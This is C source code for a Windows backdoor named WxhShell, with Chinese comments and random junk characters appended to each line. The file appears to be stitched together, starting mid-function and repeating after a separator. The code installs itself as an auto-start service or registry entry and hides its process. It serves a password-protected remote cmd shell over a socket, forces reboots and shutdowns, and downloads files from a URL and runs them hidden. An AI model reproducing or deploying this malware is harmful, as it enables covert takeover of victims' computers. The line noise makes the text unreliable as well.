    } Kz'W |  
  // 关机 ujDAs%6MZ  
  case 'd': { S,J'Z:spf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M~3(4,  
    if(Boot(SHUTDOWN)) MLL2V`vBT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hWuq  
    else { 6s>PZh  
    closesocket(wsh); Qza[~6  
    ExitThread(0); 8B\,*JGY2  
    } 3):7mE(  
    break; I8?egDkk  
    } 6:QJ@j\  
  // 获取shell GY0<\-  
  case 's': { mb?yG:L=0b  
    CmdShell(wsh); HaLEQ73  
    closesocket(wsh); #r0A<+t{T  
    ExitThread(0); _pk=IHGsB  
    break; ,![C8il,  
  } JB* *z00;  
  // 退出 y:pypuwt;  
  case 'x': { ,P5HR+h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yUBic~S  
    CloseIt(wsh); 6`%}s3Xq  
    break; +}z T][9w  
    } ~l.]3wyk  
  // 离开 9/^4W.  
  case 'q': { 4yjAi@ /2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _3ZZ-=J:=*  
    closesocket(wsh); 'L=g(  
    WSACleanup(); E-n!3RQ(w  
    exit(1); >oLM2VJ  
    break; c-`&e-~XKL  
        } Br-bUoua  
  } J]$%1Y  
  } {"s9A&  
Y$Fbi2A4  
  // 提示信息 jj.)$|&#`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d0 |Q1R+3  
} ]+,Z()  
  } %_} #IS1  
e@@kTny(  
  return; "<bL-k*H)  
} gTiDV{ Ip  
Ho*S >Y  
// shell模块句柄 0]NjsOU =  
int CmdShell(SOCKET sock) A9F&XF7{  
{ &>sG x K  
STARTUPINFO si; 5wr0+Xo  
ZeroMemory(&si,sizeof(si)); sp'q=^t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '(I"54W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .LV=Z0ja  
PROCESS_INFORMATION ProcessInfo; 7*u0)Hog  
char cmdline[]="cmd"; } %rF}>$A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7Nx@eoZ  
  return 0; wgfn:LR  
} bm(0raugs  
@$Z5A g!  
// 自身启动模式 b abDLaC@  
int StartFromService(void) ?T?%x(]I  
{ 0^tF_."Y  
typedef struct k|a{ |2p  
{ )p ,-TtV  
  DWORD ExitStatus; hoeOdWI pf  
  DWORD PebBaseAddress; hnH:G`[F  
  DWORD AffinityMask; /C_O/N  
  DWORD BasePriority; _d)w, ;m#  
  ULONG UniqueProcessId; O^|,Cbon6  
  ULONG InheritedFromUniqueProcessId; C+O`3wPZp  
}   PROCESS_BASIC_INFORMATION; pcm|  
!0E$9Xon  
PROCNTQSIP NtQueryInformationProcess; 7zpwP  
&# `d8}3D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <S TwylL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JA())0a  
V/J[~mN9  
  HANDLE             hProcess; NAHQ:$  
  PROCESS_BASIC_INFORMATION pbi; Xs*~ [k'  
Mx0c # d.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7ugmZO}lL  
  if(NULL == hInst ) return 0; @^#y23R U  
u.$.RkNMQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B% BO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kRZ(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !X*L<)=nh  
rDm>Rm=  
  if (!NtQueryInformationProcess) return 0; cb|`)"<HN  
K)@]vw/\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _U/etlDTO  
  if(!hProcess) return 0; 6R dfF$f  
X[grV e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T\. 8og  
gO_^{>2  
  CloseHandle(hProcess); R0-ARq#0<  
fJC)>doM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *s;$`8fM<  
if(hProcess==NULL) return 0; 024*IoVZ  
Ff%m.A8d,4  
HMODULE hMod; l.fNkLC#  
char procName[255]; >/ HC{.k  
unsigned long cbNeeded; RSzp-sKB  
E8#y9q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v>7tJ[s  
Pr@ EpO  
  CloseHandle(hProcess); e7pN9tXGf  
B_c(3n-"  
if(strstr(procName,"services")) return 1; // 以服务启动 g 9>p?XY  
x8tRa0-q  
  return 0; // 注册表启动 )<IbQH|_  
} .#rI9op  
'HPw5 L  
// 主模块 z}OY'}sk8  
int StartWxhshell(LPSTR lpCmdLine) &!KJrQ  
{ Wb/@~!+i`  
  SOCKET wsl; rx|/]NE;  
BOOL val=TRUE; .J&~u0g  
  int port=0; ",Ek| z  
  struct sockaddr_in door; JI@~FD&  
tj{rSg7{  
  if(wscfg.ws_autoins) Install(); >Py;6K  
B=|yjA'Fg  
port=atoi(lpCmdLine); tAbIT;>  
69O?sIk  
if(port<=0) port=wscfg.ws_port; ' G) Wy|*  
klv^310  
  WSADATA data; Scxf5x-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y2<Z"D`  
LEHlfB#z`@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |I85]'K9a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q35%t61Lc  
  door.sin_family = AF_INET; 0v+5&Jk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5wP(/?sRy  
  door.sin_port = htons(port); kX5v!pm[  
wz>j>e6k`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Kze\|yJ  
closesocket(wsl); z4H!b+   
return 1; JFR,QUT  
} TS-m^Y'R  
|~#!e}L(  
  if(listen(wsl,2) == INVALID_SOCKET) { G4=%<+  
closesocket(wsl); HPtaW:J  
return 1; h9g5W'.#  
} 7-6_`Q2}Y  
  Wxhshell(wsl); $?wX*  
  WSACleanup(); vE6/B"b  
V u;tU.  
return 0; ~)sb\o  
WoesE:NiR  
} W53i5u(  
0y2iS' t  
// 以NT服务方式启动 ikyvst>O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) * RN*Bh|$  
{ P0}uTee  
DWORD   status = 0; <bIAq8  
  DWORD   specificError = 0xfffffff; k. px  
Z~muQ c?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tUz!]P2BUO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vHJ~~if  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gLd3,$ Ei  
  serviceStatus.dwWin32ExitCode     = 0; f0MHh5  
  serviceStatus.dwServiceSpecificExitCode = 0; R"=G?d)  
  serviceStatus.dwCheckPoint       = 0; j~Rh_\>Q  
  serviceStatus.dwWaitHint       = 0; 6i{W=$ RQ  
cnhYrX^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Il*wVNrZI  
  if (hServiceStatusHandle==0) return; Q9FY.KUM  
{Qlvj.Xw  
status = GetLastError(); \>:(++g  
  if (status!=NO_ERROR) B5J=q("P  
{ (fY(-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LT:KZ|U9  
    serviceStatus.dwCheckPoint       = 0;   7&l  
    serviceStatus.dwWaitHint       = 0; 0Oe@0L%^3"  
    serviceStatus.dwWin32ExitCode     = status; Z</$~ T  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]UFf-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7NoB   
    return; \u",bMQF  
  } 6dq5f?w]  
A3M)yWq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0m51nw~B  
  serviceStatus.dwCheckPoint       = 0; YujhpJ<  
  serviceStatus.dwWaitHint       = 0; UO>p-M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %J2u+K  
} YX@[z 5*  
 mEhVc!  
// 处理NT服务事件,比如:启动、停止 xjv?Z"X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rz*%(2Vz  
{ g%[lUxL  
switch(fdwControl) E]_sl/`{od  
{  5Lm ?  
case SERVICE_CONTROL_STOP: {@B<$g   
  serviceStatus.dwWin32ExitCode = 0; /1o~x~g(b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L[##w?Xf.  
  serviceStatus.dwCheckPoint   = 0; M^k~w{   
  serviceStatus.dwWaitHint     = 0; +r4^oT[-  
  { 8 :Z3Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); viY _Y.Yjy  
  } F9-xp7 T  
  return; 8Qek![3^  
case SERVICE_CONTROL_PAUSE: RUSBJsMB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^EM##Ss_  
  break; k((_~<$2K  
case SERVICE_CONTROL_CONTINUE: v:s~Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [ V/*{Z  
  break; tb{l(up/a  
case SERVICE_CONTROL_INTERROGATE: hZc$`V=R  
  break; xNE<$Bz  
}; !XzRV?Ih;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R9fM9  
} /R 2:Js  
oy#Qj3M8=  
// 标准应用程序主函数 wGLZzqgq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PL%_V ?z  
{ nuhKM.a{  
dhsQfWg#}  
// 获取操作系统版本 }3=]1jH6  
OsIsNt=GetOsVer(); ),dXaP[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R279=sO,J  
d,+d8X  
  // 从命令行安装 W[w8@OCNf  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5A:b \  
1Cp5a2{  
  // 下载执行文件 n\wO[l)  
if(wscfg.ws_downexe) { Pou`PNvH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f{k2sU*uBE  
  WinExec(wscfg.ws_filenam,SW_HIDE); PgxD?Oi8  
} 5?%(j!p5  
iI&J_Y{1a_  
if(!OsIsNt) { j`='SzVloW  
// 如果时win9x,隐藏进程并且设置为注册表启动 WPCaxA+l  
HideProc(); ~.yt  
StartWxhshell(lpCmdLine); 4^  $  
} NFU 5+X-c  
else X0Xs"--}  
  if(StartFromService()) G\|VTqu  
  // 以服务方式启动 gtVI>D'(W  
  StartServiceCtrlDispatcher(DispatchTable); 2c_#q1/Z/  
else vX/~34o]\  
  // 普通方式启动 ?psvhB{O  
  StartWxhshell(lpCmdLine); UR:cBr  
SWPr5h  
return 0; kImS'i{A  
} '-S^z"ZrI  
u ;f~  
Z &/b p1  
@/E5$mX`  
=========================================== YRAWylm  
aQ46euth  
Y(-4Agq  
Y!Wz7 C  
Mw*R~OX  
/mo4Q?^  
" (9{)4[3MAG  
egK,e?~  
#include <stdio.h> aOA;"jR1  
#include <string.h> d^!)',`  
#include <windows.h> 89k9#i X  
#include <winsock2.h> RU>T?2  
#include <winsvc.h> WENPS*0oS]  
#include <urlmon.h> ZG H2  
7rbl+:y2  
#pragma comment (lib, "Ws2_32.lib") ^<.mUaP  
#pragma comment (lib, "urlmon.lib") Gt2NUGU  
Qf6Vj,~N  
#define MAX_USER   100 // 最大客户端连接数 gle_~es'K  
#define BUF_SOCK   200 // sock buffer aS-rRL|\L  
#define KEY_BUFF   255 // 输入 buffer A8dIL5  
R'uM7,7  
#define REBOOT     0   // 重启 q6%jCt2'  
#define SHUTDOWN   1   // 关机 D42Bm&JocO  
#Bj.#5  
#define DEF_PORT   5000 // 监听端口 k8Qm +r<p  
{I&>`?7.  
#define REG_LEN     16   // 注册表键长度 -;Y*;xe  
#define SVC_LEN     80   // NT服务名长度 c7[|x%~  
4 B"tz!  
// 从dll定义API &CV%+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wm%9>mA%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OjCTTz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >RG }u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4 ac2^`  
FI`][&]V  
// wxhshell配置信息 J/:9;{R  
struct WSCFG { Pa 'g=-  
  int ws_port;         // 监听端口 Rs$k3   
  char ws_passstr[REG_LEN]; // 口令 *&Np;^~  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4nN%5c~=  
  char ws_regname[REG_LEN]; // 注册表键名 9r+]V=  
  char ws_svcname[REG_LEN]; // 服务名 E=_M=5]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }q^M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vSb$gl5H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F3HpDfy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /59jkcA+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gg]>S#^3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $Y5R^Y  
.J6Oiv.E  
}; qL/4mM0  
^i&sQQ( {  
// default Wxhshell configuration a^ hDxeG  
struct WSCFG wscfg={DEF_PORT, xX.fN7[  
    "xuhuanlingzhe", Y6~/H  
    1, "94e-Nx  
    "Wxhshell", UA>UW!I  
    "Wxhshell", Mj&q"G  
            "WxhShell Service", j7IX"O%f\  
    "Wrsky Windows CmdShell Service", 0 XxU1w8\V  
    "Please Input Your Password: ", s"7wG!yf  
  1, w] i&N1i  
  "http://www.wrsky.com/wxhshell.exe", 56Z 1jN^U  
  "Wxhshell.exe" 0>} FNRC  
    }; h:\WW;s[B  
dO =fbmK  
// 消息定义模块 u[5*RTE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TcPYDAa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5V;BimI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ..`J-k  
char *msg_ws_ext="\n\rExit."; 3J%(2}{y  
char *msg_ws_end="\n\rQuit."; 4E/Q+^?  
char *msg_ws_boot="\n\rReboot..."; aKkL0 D  
char *msg_ws_poff="\n\rShutdown..."; TPEg>[  
char *msg_ws_down="\n\rSave to "; =~}\g;K1Q  
KSe `G;{  
char *msg_ws_err="\n\rErr!"; P1tc*2Z  
char *msg_ws_ok="\n\rOK!"; 5v >0$Y{  
q,w8ca 4~y  
char ExeFile[MAX_PATH]; $ lz\t e  
int nUser = 0; *8{PoD   
HANDLE handles[MAX_USER]; ByqB4Hv2  
int OsIsNt; wqEO+7)S  
f_2tMiy 5  
SERVICE_STATUS       serviceStatus; ^Tgu]t   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K:hZ  
\X1?,gV_  
// 函数声明 /UtCJMQ  
int Install(void); Sqw:U|h\FS  
int Uninstall(void); 2Hl0besm  
int DownloadFile(char *sURL, SOCKET wsh); lM oi5q  
int Boot(int flag); xXkP(^ Y  
void HideProc(void); Qk2^p^ T6  
int GetOsVer(void); =8:m:Y&|`G  
int Wxhshell(SOCKET wsl); >1u!(-A  
void TalkWithClient(void *cs); ^oaFnzJdf  
int CmdShell(SOCKET sock); B7HNNX  
int StartFromService(void); W?is8r:  
int StartWxhshell(LPSTR lpCmdLine); /o%J / |  
rV;X1x}l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z&BJ/qk \-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]U?)_P@}  
,tqMMBwC~_  
// 数据结构和表定义 3Run.Gv\  
SERVICE_TABLE_ENTRY DispatchTable[] = V/xGk9L~  
{ eFJ .)Z  
{wscfg.ws_svcname, NTServiceMain}, *q**,_?;  
{NULL, NULL}  |e49F  
}; [HNWM/ff7+  
=qG%h5]n  
// 自我安装 cXP*?N4C f  
int Install(void) t6m&+N  
{ `P/7Mf  
  char svExeFile[MAX_PATH]; |Rk9W  
  HKEY key; Z{&dzc  
  strcpy(svExeFile,ExeFile); v w(X9xa  
,c }R*\  
// 如果是win9x系统,修改注册表设为自启动 )*6 ]m1  
if(!OsIsNt) { aLa{zB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kC:GEY<N:Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O.OPIQ=?:w  
  RegCloseKey(key); ]rk8Jsg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y*ux7KO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C(/{53G(  
  RegCloseKey(key); m+&) eQ:  
  return 0; ~\HGV+S!g}  
    } N_<wiwI<  
  } bp"@vlv  
} pHO,][VZ  
else { m][i-|@M  
o!bIaeEaU  
// 如果是NT以上系统,安装为系统服务 _4~'K?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;.dyuKlI  
if (schSCManager!=0) woI.1e5  
{ [3KP@'52k  
  SC_HANDLE schService = CreateService )P>-~G2P  
  ( Rb!V{jQ  
  schSCManager, pCOtk'n  
  wscfg.ws_svcname, UqsJ44QEZ  
  wscfg.ws_svcdisp, W_JFe(=3,  
  SERVICE_ALL_ACCESS, rt +a/:4+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z#DgoA  
  SERVICE_AUTO_START, =]Gw9sge@  
  SERVICE_ERROR_NORMAL, *SP@`)\D  
  svExeFile, B}O M:0  
  NULL, Xx)PyO  
  NULL, b# v+_7  
  NULL, .lbo\v}2W  
  NULL, LHJ}I5zv  
  NULL i"4&UJu1;  
  ); Wycood*  
  if (schService!=0) e#{,M8  
  { '+8`3['  
  CloseServiceHandle(schService); yxz)32B?  
  CloseServiceHandle(schSCManager); Wra$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xu[(hT6  
  strcat(svExeFile,wscfg.ws_svcname); L_ &`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^}VAH#c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ph5rS<  
  RegCloseKey(key); CN(}0/  
  return 0; [9c|!w^F  
    } yAyq-G"sO  
  } <Sn;k[M}d  
  CloseServiceHandle(schSCManager); S! Z2aFj  
} ^*-6PV#Z  
} 6!& DH#M  
C~o\Q# *j  
return 1; cJ ^:b4j  
} * |dz.Tr  
 MjjN  
// 自我卸载 /);S?7u.  
int Uninstall(void) ~d.Z. AD  
{ qL;T^ljP  
  HKEY key; ?q lpi(  
q eW{Cl~  
if(!OsIsNt) { 39!$x[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;5cN o&  
  RegDeleteValue(key,wscfg.ws_regname); ZUg ~8VVe  
  RegCloseKey(key); Q)lN7oD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mBtXa|PJ  
  RegDeleteValue(key,wscfg.ws_regname); ]i)g!J8f-  
  RegCloseKey(key); sFrerv&0  
  return 0; %k+G-oT5  
  } :b~5nftr  
} wR(>' ?  
} z\F#td{r  
else { $F#eD 0|  
' 5F3,/r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X"sc'#G T  
if (schSCManager!=0) \H&8.<HJ  
{ AuW-XK.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *hV$\CLT.  
  if (schService!=0) _G62E $=  
  { 9| {t%F=-  
  if(DeleteService(schService)!=0) { lL<LJ :L  
  CloseServiceHandle(schService); kM JA#{<  
  CloseServiceHandle(schSCManager); GxynLXWo>  
  return 0; V1]QuQ{&s  
  } Sy0-tK4  
  CloseServiceHandle(schService); `|2p1Ei  
  } zKllwIf i  
  CloseServiceHandle(schSCManager); 9!>Ks8'.d  
} \GP0FdpV  
} yV4rS6=  
ey/=\@[p  
return 1; 6[k7e!&  
} 8N,mp>~  
fvNj5Vq:  
// 从指定url下载文件 #`5>XfbmQ(  
int DownloadFile(char *sURL, SOCKET wsh) Z;"YUu[(  
{ 7] }2`^9  
  HRESULT hr; o"19{ D^.  
char seps[]= "/"; Q&?^eOI&#(  
char *token; Hgk@I;  
char *file; UNO KK_  
char myURL[MAX_PATH]; q L-Ni  
char myFILE[MAX_PATH]; tmgZNg  
&`LR{7m  
strcpy(myURL,sURL); k>V~ iA  
  token=strtok(myURL,seps); .Z9{\tj  
  while(token!=NULL) <t"KNKI  
  { .Y*jL&!  
    file=token; eelkK,4  
  token=strtok(NULL,seps); c`agrS:P  
  } ?`+G0VT  
9cJ1J7y  
GetCurrentDirectory(MAX_PATH,myFILE); S0]JeP+3!  
strcat(myFILE, "\\"); |e+r|i]  
strcat(myFILE, file); 0/4"Jh$t  
  send(wsh,myFILE,strlen(myFILE),0); 'u84d=*l  
send(wsh,"...",3,0); 2,^ U8/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >V$ S\"  
  if(hr==S_OK) o ?`LZd:{  
return 0; $a.,; :  
else % s),4  
return 1; !M(3[(Ni  
{+CBThC  
} " Z2D@l  
fpA%:V  
// 系统电源模块 .*~t2 :  
int Boot(int flag) m.b}A'GT  
{ \<kQ::o1y  
  HANDLE hToken; 3[cGSI"+  
  TOKEN_PRIVILEGES tkp; 3DX@ggE2  
4SNDKFw  
  if(OsIsNt) { #DkdFy %`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s*9lYk0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mrGfu:r  
    tkp.PrivilegeCount = 1; >MLP mER  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h{/lW#[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ur| vh5  
if(flag==REBOOT) { R\Of ,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r-'CB  
  return 0; ?d5_{*]+v  
} @@=e-d  
else { ,\'E<O2T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r=Od%  
  return 0; i~i ?M)  
} >mUSRf4  
  } lDVw2J'p  
  else { }Q-%ij2  
if(flag==REBOOT) { ^tRy6zG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l", X  
  return 0; R^Y>v5jAe  
} F [S'l  
else { Prqr,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SG{&2G  
  return 0; 2=`}:&0l  
} tBtmqxx  
} #VU>Z|$@N  
3,dIW*<**  
return 1; PE&$2(  
} _BPp=(|  
,wB)hp  
// win9x进程隐藏模块 L 4Sa,ZL  
void HideProc(void) @E%f AC  
{ c1}i|7/XSi  
~aL&,0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f =kt0  
  if ( hKernel != NULL ) v%4zP%4Ak[  
  { * amZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "YoFUfaNg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z11I1)%s  
    FreeLibrary(hKernel); /" 6Gh'  
  } fIii  
}S=m: VKH  
return; @ev8"JZ1  
} AVi,+n  
Xp?WoC N  
// 获取操作系统版本 m* rw?nLZ  
int GetOsVer(void) @M=\u-jJ.  
{ wak`Jte=}m  
  OSVERSIONINFO winfo; q?=_{oH9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ox^VU2K;&.  
  GetVersionEx(&winfo); _qU;`Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~ea&1+Z[3  
  return 1; oA`G\Xh_E  
  else -5u. Ix3  
  return 0; PD`EtkUnv  
} 'da$i  
Ch7&9NW  
// 客户端句柄模块 ds:&{~7L<T  
int Wxhshell(SOCKET wsl) .s`7n *xz  
{ 5O]eD84B  
  SOCKET wsh; |3dIq=~1"Y  
  struct sockaddr_in client; k56*eEc  
  DWORD myID; i/aj;t  
o!sHK9hvJ)  
  while(nUser<MAX_USER) TSKR~3D#  
{ 4mwLlYZ  
  int nSize=sizeof(client); }cd-BW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 41 #YtZ  
  if(wsh==INVALID_SOCKET) return 1; ?a{>QyL  
=g<Yi2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %+ur41HM  
if(handles[nUser]==0) f@H>by N  
  closesocket(wsh); M6:$ 0(r  
else CooOBk  
  nUser++; F0tx.]uS  
  } a~A"uLBR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g<s;uRA4O9  
TykY>cl   
  return 0; KYC<*1k  
} uYMH5Om+i  
=aCd,4B}  
// 关闭 socket 4ad-'  
void CloseIt(SOCKET wsh) Tk:%YS;=  
{ ~NB lJULS  
closesocket(wsh); #waK^B)<a  
nUser--; n+w$'l  
ExitThread(0); WlRaD%Q  
} NY\-p=3c7=  
WS2@; 8.N  
// 客户端请求句柄 t[%ELHV  
void TalkWithClient(void *cs) 9B2`FJ  
{ ldNWdz  
s p&g  
  SOCKET wsh=(SOCKET)cs; $##LSTA  
  char pwd[SVC_LEN]; 7YQ689"J6B  
  char cmd[KEY_BUFF]; 8rM1kOCf  
char chr[1]; @h)X3X  
int i,j; j\TS:F^z  
Lo uYY: Q  
  while (nUser < MAX_USER) { Qvm[2mb  
~RIa),GVX  
if(wscfg.ws_passstr) { e<-^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R~d{Yv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S@6 :H"  
  //ZeroMemory(pwd,KEY_BUFF); +YnQOh%v0s  
      i=0; J%lEyU  
  while(i<SVC_LEN) { C:{&cIFrPe  
eZ;DNZK av  
  // 设置超时 HVaKy+RU  
  fd_set FdRead; 6d%)MEM  
  struct timeval TimeOut; W kSv@Y,  
  FD_ZERO(&FdRead); eN-lz_..7  
  FD_SET(wsh,&FdRead); c*Q6k<SKR  
  TimeOut.tv_sec=8; apd"p{  
  TimeOut.tv_usec=0; =(W l'iG   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5gH'CzU?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m"tke'a  
</33>Fu)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /*hS0xN*  
  pwd=chr[0]; &1M#;rE;D#  
  if(chr[0]==0xd || chr[0]==0xa) { [eZ'h8  
  pwd=0; ^5 ~)m6=2  
  break; T(iL#2^  
  } ?PDrj/: *  
  i++; &E$:^a4d  
    } zR_yxs'  
O`FuXB(t  
  // 如果是非法用户,关闭 socket <n)R?P(or  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]]lM)  
} VDC"tSQ  
'QxPQ cU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5HMDug;   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .9KW| (uW  
Nj|~3 *KO  
while(1) { ">rt *?^  
O:Ob{k  
  ZeroMemory(cmd,KEY_BUFF); w"?E=RS  
`)_11ywZ  
      // 自动支持客户端 telnet标准   iYl$25k/1  
  j=0; GN ?1dwI  
  while(j<KEY_BUFF) { qwDoYy yu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]WZi +  
  cmd[j]=chr[0]; iWMgU:T  
  if(chr[0]==0xa || chr[0]==0xd) { dX ;G [\  
  cmd[j]=0; dxF/]>t  
  break; `%Uz0hF  
  } fqS cf}s  
  j++; V'XvwO@  
    } z{dn   
Q5pm^X._j  
  // 下载文件 jN^09T49  
  if(strstr(cmd,"http://")) { ,Z p9,nf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :R9 DJh\  
  if(DownloadFile(cmd,wsh)) 8WRxM%gsH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NzuH&o][  
  else p:gM?2p1  
